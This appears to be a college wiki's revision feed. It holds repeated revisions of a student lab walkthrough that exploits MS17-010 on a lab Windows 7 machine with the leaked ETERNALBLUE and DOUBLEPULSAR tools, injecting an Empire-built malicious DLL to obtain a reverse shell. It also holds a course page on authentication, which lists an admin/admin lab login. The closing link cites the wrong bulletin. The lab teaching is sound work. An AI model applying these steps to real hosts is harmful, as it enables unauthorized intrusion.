[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=128615</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=128615"/>
		<updated>2017-12-17T19:43:10Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
&lt;br /&gt;
Author: Ender Loc Phan&lt;br /&gt;
&lt;br /&gt;
Video Proof: https://www.youtube.com/watch?v=6VWQcMP6v4w&lt;br /&gt;
&lt;br /&gt;
Nb!!: For education purpose only &lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture17.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
An information disclosure vulnerability exists in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.&lt;br /&gt;
To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server.&lt;br /&gt;
The security update addresses the vulnerability by correcting how SMBv1 handles these specially crafted requests.&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I805_Authentication_and_Authorization&amp;diff=120945</id>
		<title>Category:I805 Authentication and Authorization</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I805_Authentication_and_Authorization&amp;diff=120945"/>
		<updated>2017-05-03T10:06:01Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* RED TEAM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Authentication and Authorization=&lt;br /&gt;
&lt;br /&gt;
Yubikey as PKI token howto: https://lauri.vosandi.com/2017/03/yubikey-for-ssh-auth.html&lt;br /&gt;
&lt;br /&gt;
Yubikey as GPG token howto: https://lauri.vosandi.com/2017/03/yubikey-for-gpg.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==General information==&lt;br /&gt;
&lt;br /&gt;
In this course we continue where we left off with [https://wiki.itcollege.ee/index.php/Category:I802_Firewalls_and_VPN_IPSec#Firewalls_and_VPN.2FIPSec Firewalls and VPN/IPsec] course.&lt;br /&gt;
&lt;br /&gt;
Relevant topics for research and implementation in the lab.&lt;br /&gt;
Lectures coming up for most of the topics:&lt;br /&gt;
&lt;br /&gt;
* File based password stores eg. /etc/shadow, .htaccess&lt;br /&gt;
* Signing and encrypting e-mail using GPG&lt;br /&gt;
* Active Directory protocols: LM, NTLM, Kerberos, GSSAPI, SPNEGO, LDAP&lt;br /&gt;
* More TLS and client side authentication in particular&lt;br /&gt;
* Filesystem permissions: access control lists, selinux, apparmor&lt;br /&gt;
* RADIUS&lt;br /&gt;
* Multi-factor authentication: smartcards, Yubikey, Mobile-ID, etc&lt;br /&gt;
* Contactless cards&lt;br /&gt;
* On the web: Cookies, OAuth, OpenID, iPizza, &lt;br /&gt;
&lt;br /&gt;
Intro slides &amp;amp; video recording:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/presentation/d/1NzY8AspqZwrYxoJ3Qi-pBWsMDdiIUeA4lgZnwZGTMVg/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
https://echo360.e-ope.ee/ess/echo/presentation/54eb478c-f6ae-4629-b1e3-c43f5a2f6842?ec=true&lt;br /&gt;
&lt;br /&gt;
=Equipment=&lt;br /&gt;
&lt;br /&gt;
* 3pcs Sun server in the college server room&lt;br /&gt;
* TP-Link WDR3600 wireless router routed to 172.16.*.*&lt;br /&gt;
* HP Probook dual-boot laptop&lt;br /&gt;
* iMac in 412, use admin/admin to log in with local account&lt;br /&gt;
* Robotics Club (wireless) network, routed to to 172.16.*.*&lt;br /&gt;
* 10pcs Yubikey Neo-s, currently posessed by Marvin, Madis Mägi, Artur O, Keijo&lt;br /&gt;
&lt;br /&gt;
If you forget (local) Windows password use System Rescue CD to reset the password:&lt;br /&gt;
http://www.howtogeek.com/howto/windows-vista/change-your-forgotten-windows-password-with-the-linux-system-rescue-cd/&lt;br /&gt;
&lt;br /&gt;
=Requirements=&lt;br /&gt;
&lt;br /&gt;
Every service should use accounts from Active Directory.&lt;br /&gt;
To achieve that try to use LDAP protocol first.&lt;br /&gt;
Via LDAP you can retreieve the data about accounts.&lt;br /&gt;
If the service machine is not joined to domain create&lt;br /&gt;
a service account in AD to access LDAP interface first.&lt;br /&gt;
It really depends on the software how you need to configure it.&lt;br /&gt;
&lt;br /&gt;
For fileserver/SSH/FTP/mail server first join to domain using winbind: https://help.ubuntu.com/community/ActiveDirectoryWinbindHowto#Join_AD_domain&lt;br /&gt;
For NextCloud, rocket.chat, OwnCloud and most web services configure&lt;br /&gt;
LDAP plugin to retrieve accounts from AD and LDAP bind authentication.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Responsibilities=&lt;br /&gt;
&lt;br /&gt;
Everybody should have a task, prepare a howto on the college wiki and have a topic for presentation:&lt;br /&gt;
&lt;br /&gt;
* Mohanad - AD up and running, routing, howto for setting up Active Directory on Windows Server; nagios accounts from AD, possibly with Kerberos SSO&lt;br /&gt;
* Etienne - NextCloud server set up, howto for configuring client/app&lt;br /&gt;
* Taavi - Wiki accounts from AD, possibly using Kerberos SSO&lt;br /&gt;
* Madis Lugus - Gogs accounts from AD, possibly using Kerberos SSO and also SSH public keys from AD&lt;br /&gt;
* Joosep - enos.itcollege.ee clone, web server and MySQL with accoutns from AD&lt;br /&gt;
* Meelis - rocket.chat with accounts from AD via LDAP, possibly with Kerberos SSO, howto for configuring apps&lt;br /&gt;
* Sheela - mailserver with accounts from AD via LDAP, with GSSAPI authentication, howto for configuring Thunderbird/Evolution&lt;br /&gt;
* Artur - mailserver with AD accounts via LDAP + e-mail encryption with GPG, howto for average users&lt;br /&gt;
* Ardi - OpenVPN with ID-card auth, isikukood from AD attribute, howto for configuring client&lt;br /&gt;
* Marvin - secondary AD, routing, Samba backup DC?&amp;lt;insert topic of your interest&amp;gt;&lt;br /&gt;
* Arti - Samba as third DC, setting up fileserver on ZFS with SSD-s as journal/cache&lt;br /&gt;
* Kustas - pentest&lt;br /&gt;
* Ender - pentest&lt;br /&gt;
* Mikus - pentest&lt;br /&gt;
* Keijo - how are you going to pass the course?&lt;br /&gt;
* Anton - how are you going to pass the course?&lt;br /&gt;
* Tarvo - JIRA with accounts from AD via LDAP&lt;br /&gt;
* Ats - how are you going to pass the course?&lt;br /&gt;
* Nazmul - how are you going to pass the course?&lt;br /&gt;
&lt;br /&gt;
=Presentations=&lt;br /&gt;
&lt;br /&gt;
Presentation of up to 45min should cover what you did in order to get the service running in the desired state, what problems you had, how others can use your service and what can be done to improve the setup.&lt;br /&gt;
&lt;br /&gt;
This should be more or less in logical order:&lt;br /&gt;
&lt;br /&gt;
* 28. feb - Mohanad, Etienne&lt;br /&gt;
* 7. mar - Taavi, Madis, Artur&lt;br /&gt;
* 14. mar - backup slot&lt;br /&gt;
* 21. mar - Joosep, Meelis&lt;br /&gt;
* 5. apr - Sheela, Ardi&lt;br /&gt;
* 12. apr - backup slot&lt;br /&gt;
* 19. apr - Marvin, Arti&lt;br /&gt;
* 26. apr - Kustas &amp;amp; Ender&lt;br /&gt;
&lt;br /&gt;
=Milestones=&lt;br /&gt;
&lt;br /&gt;
This is just to keep activities in sync&lt;br /&gt;
&lt;br /&gt;
==Milestone 1==&lt;br /&gt;
&lt;br /&gt;
Domain controller is working.&lt;br /&gt;
In the internal network and over VPN connection blah.office.lan DNS requests work as expected.&lt;br /&gt;
&lt;br /&gt;
On a Linux box command line users can authenticate with kerberos client utils:&lt;br /&gt;
&lt;br /&gt;
  kinit username@OFFICE.LAN&lt;br /&gt;
&lt;br /&gt;
On a Linux box command line users can fetch stuff via LDAP:&lt;br /&gt;
&lt;br /&gt;
 ldapsearch -b dc=office,dc=lan  -H ldap://dc-hq.office.lan -D lauri@office.lan -W&lt;br /&gt;
&lt;br /&gt;
Also authenitcation with Kerberos should work:&lt;br /&gt;
&lt;br /&gt;
 ldapsearch -b dc=office,dc=lan  -H ldap://dc-hq.office.lan -Y GSSAPI&lt;br /&gt;
&lt;br /&gt;
To make life easier configure /etc/ldap/ldap.conf, if properly configured short commands work:&lt;br /&gt;
&lt;br /&gt;
 ldapsearch&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Milestone 2==&lt;br /&gt;
&lt;br /&gt;
Deadline 21. Feb&lt;br /&gt;
&lt;br /&gt;
Some services are using accounts from AD&lt;br /&gt;
&lt;br /&gt;
==Milestone 3==&lt;br /&gt;
&lt;br /&gt;
Deadline 28. Feb&lt;br /&gt;
&lt;br /&gt;
Service owner has client application configured and knows how to configure them&lt;br /&gt;
&lt;br /&gt;
==Milestone 4==&lt;br /&gt;
&lt;br /&gt;
Deadline 7. Mar&lt;br /&gt;
&lt;br /&gt;
Preliminary manual page created on college wiki for configuring the client application(s).&lt;br /&gt;
Other students are using your service.&lt;br /&gt;
&lt;br /&gt;
==Milestone 5==&lt;br /&gt;
&lt;br /&gt;
Keep services up and running, respond to incidents until 5th of June.&lt;br /&gt;
Server teardown on 5th of May. Wipe harddisks.&lt;br /&gt;
&lt;br /&gt;
Everybody who has completed howto, presented their topic, co-operated with other students and not left all the responsibilities to the last minute will get a passing grade. Slackers have an opportunity to do a (hard) quiz about the topics presented to get a passing grade.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Passing the course=&lt;br /&gt;
&lt;br /&gt;
==Option A: Get busy early==&lt;br /&gt;
&lt;br /&gt;
Get following done by the end of April:&lt;br /&gt;
&lt;br /&gt;
* Present what you did in the lecture 45min max&lt;br /&gt;
* Make the necessary modifications, eg admin groups for nextcloud, wiki, gogs, jira; remove service accounts from domain users/admins group&lt;br /&gt;
* Submit your presentation by uploading it to Presentations folder shared at https://nextcloud.biz.wut.ee/&lt;br /&gt;
* Publish howto for setting up your service on internal wiki at https://wiki.biz.wut.ee/index.php/Main_Page&lt;br /&gt;
* Help others to make use of your service&lt;br /&gt;
* Publish howto for end users on internal wiki: https://wiki.biz.wut.ee/index.php/Main_Page&lt;br /&gt;
* Help fellow students to make use of your service&lt;br /&gt;
* Make use of others&#039; services (!!!), report issues to service administrator&lt;br /&gt;
* Send Lauri an encrypted e-mail, howto coming up soon&lt;br /&gt;
&lt;br /&gt;
Keep services up and running, respond to incidents until 12th of May.&lt;br /&gt;
Server teardown and &#039;&#039;&#039;hard deadline&#039;&#039;&#039; 12th of May:&lt;br /&gt;
Who hasn&#039;t done bullet points, including sending encrypted e-mail shall not pass!&lt;br /&gt;
&lt;br /&gt;
==Option B: Quiz==&lt;br /&gt;
&lt;br /&gt;
If you haven&#039;t done anything but you still want to pass please inform me early enough&lt;br /&gt;
so I can prepare exam questions here and we can have exam in June:&lt;br /&gt;
&lt;br /&gt;
* What are the benefits of using hardware authentication token such as Yubikey&lt;br /&gt;
* What is two factor authentication&lt;br /&gt;
* In LDAP jargon what is common name, distinguished name, base DN?&lt;br /&gt;
* What are benefits provided by Kerberos protocol&lt;br /&gt;
* What software suites implement Kerberos?&lt;br /&gt;
* TLS protocol combines which crypto primitives? What are some properties of a TLS tunnel?&lt;br /&gt;
* More questions coming up later&lt;br /&gt;
&lt;br /&gt;
== RED TEAM ==&lt;br /&gt;
Ender Phan: https://docs.google.com/presentation/d/1rH05bvqkaWYXeNwkC8XC5_UGRg2iUFltAodPaWRCIJc/edit?usp=sharing&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I805_Authentication_and_Authorization&amp;diff=120944</id>
		<title>Category:I805 Authentication and Authorization</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I805_Authentication_and_Authorization&amp;diff=120944"/>
		<updated>2017-05-03T10:05:06Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Passing the course */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Authentication and Authorization=&lt;br /&gt;
&lt;br /&gt;
Yubikey as PKI token howto: https://lauri.vosandi.com/2017/03/yubikey-for-ssh-auth.html&lt;br /&gt;
&lt;br /&gt;
Yubikey as GPG token howto: https://lauri.vosandi.com/2017/03/yubikey-for-gpg.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==General information==&lt;br /&gt;
&lt;br /&gt;
In this course we continue where we left off with [https://wiki.itcollege.ee/index.php/Category:I802_Firewalls_and_VPN_IPSec#Firewalls_and_VPN.2FIPSec Firewalls and VPN/IPsec] course.&lt;br /&gt;
&lt;br /&gt;
Relevant topics for research and implementation in the lab.&lt;br /&gt;
Lectures coming up for most of the topics:&lt;br /&gt;
&lt;br /&gt;
* File based password stores eg. /etc/shadow, .htaccess&lt;br /&gt;
* Signing and encrypting e-mail using GPG&lt;br /&gt;
* Active Directory protocols: LM, NTLM, Kerberos, GSSAPI, SPNEGO, LDAP&lt;br /&gt;
* More TLS and client side authentication in particular&lt;br /&gt;
* Filesystem permissions: access control lists, selinux, apparmor&lt;br /&gt;
* RADIUS&lt;br /&gt;
* Multi-factor authentication: smartcards, Yubikey, Mobile-ID, etc&lt;br /&gt;
* Contactless cards&lt;br /&gt;
* On the web: Cookies, OAuth, OpenID, iPizza, &lt;br /&gt;
&lt;br /&gt;
Intro slides &amp;amp; video recording:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/presentation/d/1NzY8AspqZwrYxoJ3Qi-pBWsMDdiIUeA4lgZnwZGTMVg/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
https://echo360.e-ope.ee/ess/echo/presentation/54eb478c-f6ae-4629-b1e3-c43f5a2f6842?ec=true&lt;br /&gt;
&lt;br /&gt;
=Equipment=&lt;br /&gt;
&lt;br /&gt;
* 3pcs Sun server in the college server room&lt;br /&gt;
* TP-Link WDR3600 wireless router routed to 172.16.*.*&lt;br /&gt;
* HP Probook dual-boot laptop&lt;br /&gt;
* iMac in 412, use admin/admin to log in with local account&lt;br /&gt;
* Robotics Club (wireless) network, routed to to 172.16.*.*&lt;br /&gt;
* 10pcs Yubikey Neo-s, currently posessed by Marvin, Madis Mägi, Artur O, Keijo&lt;br /&gt;
&lt;br /&gt;
If you forget (local) Windows password use System Rescue CD to reset the password:&lt;br /&gt;
http://www.howtogeek.com/howto/windows-vista/change-your-forgotten-windows-password-with-the-linux-system-rescue-cd/&lt;br /&gt;
&lt;br /&gt;
=Requirements=&lt;br /&gt;
&lt;br /&gt;
Every service should use accounts from Active Directory.&lt;br /&gt;
To achieve that try to use LDAP protocol first.&lt;br /&gt;
Via LDAP you can retreieve the data about accounts.&lt;br /&gt;
If the service machine is not joined to domain create&lt;br /&gt;
a service account in AD to access LDAP interface first.&lt;br /&gt;
It really depends on the software how you need to configure it.&lt;br /&gt;
&lt;br /&gt;
For fileserver/SSH/FTP/mail server first join to domain using winbind: https://help.ubuntu.com/community/ActiveDirectoryWinbindHowto#Join_AD_domain&lt;br /&gt;
For NextCloud, rocket.chat, OwnCloud and most web services configure&lt;br /&gt;
LDAP plugin to retrieve accounts from AD and LDAP bind authentication.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Responsibilities=&lt;br /&gt;
&lt;br /&gt;
Everybody should have a task, prepare a howto on the college wiki and have a topic for presentation:&lt;br /&gt;
&lt;br /&gt;
* Mohanad - AD up and running, routing, howto for setting up Active Directory on Windows Server; nagios accounts from AD, possibly with Kerberos SSO&lt;br /&gt;
* Etienne - NextCloud server set up, howto for configuring client/app&lt;br /&gt;
* Taavi - Wiki accounts from AD, possibly using Kerberos SSO&lt;br /&gt;
* Madis Lugus - Gogs accounts from AD, possibly using Kerberos SSO and also SSH public keys from AD&lt;br /&gt;
* Joosep - enos.itcollege.ee clone, web server and MySQL with accoutns from AD&lt;br /&gt;
* Meelis - rocket.chat with accounts from AD via LDAP, possibly with Kerberos SSO, howto for configuring apps&lt;br /&gt;
* Sheela - mailserver with accounts from AD via LDAP, with GSSAPI authentication, howto for configuring Thunderbird/Evolution&lt;br /&gt;
* Artur - mailserver with AD accounts via LDAP + e-mail encryption with GPG, howto for average users&lt;br /&gt;
* Ardi - OpenVPN with ID-card auth, isikukood from AD attribute, howto for configuring client&lt;br /&gt;
* Marvin - secondary AD, routing, Samba backup DC?&amp;lt;insert topic of your interest&amp;gt;&lt;br /&gt;
* Arti - Samba as third DC, setting up fileserver on ZFS with SSD-s as journal/cache&lt;br /&gt;
* Kustas - pentest&lt;br /&gt;
* Ender - pentest&lt;br /&gt;
* Mikus - pentest&lt;br /&gt;
* Keijo - how are you going to pass the course?&lt;br /&gt;
* Anton - how are you going to pass the course?&lt;br /&gt;
* Tarvo - JIRA with accounts from AD via LDAP&lt;br /&gt;
* Ats - how are you going to pass the course?&lt;br /&gt;
* Nazmul - how are you going to pass the course?&lt;br /&gt;
&lt;br /&gt;
=Presentations=&lt;br /&gt;
&lt;br /&gt;
Presentation of up to 45min should cover what you did in order to get the service running in the desired state, what problems you had, how others can use your service and what can be done to improve the setup.&lt;br /&gt;
&lt;br /&gt;
This should be more or less in logical order:&lt;br /&gt;
&lt;br /&gt;
* 28. feb - Mohanad, Etienne&lt;br /&gt;
* 7. mar - Taavi, Madis, Artur&lt;br /&gt;
* 14. mar - backup slot&lt;br /&gt;
* 21. mar - Joosep, Meelis&lt;br /&gt;
* 5. apr - Sheela, Ardi&lt;br /&gt;
* 12. apr - backup slot&lt;br /&gt;
* 19. apr - Marvin, Arti&lt;br /&gt;
* 26. apr - Kustas &amp;amp; Ender&lt;br /&gt;
&lt;br /&gt;
=Milestones=&lt;br /&gt;
&lt;br /&gt;
This is just to keep activities in sync&lt;br /&gt;
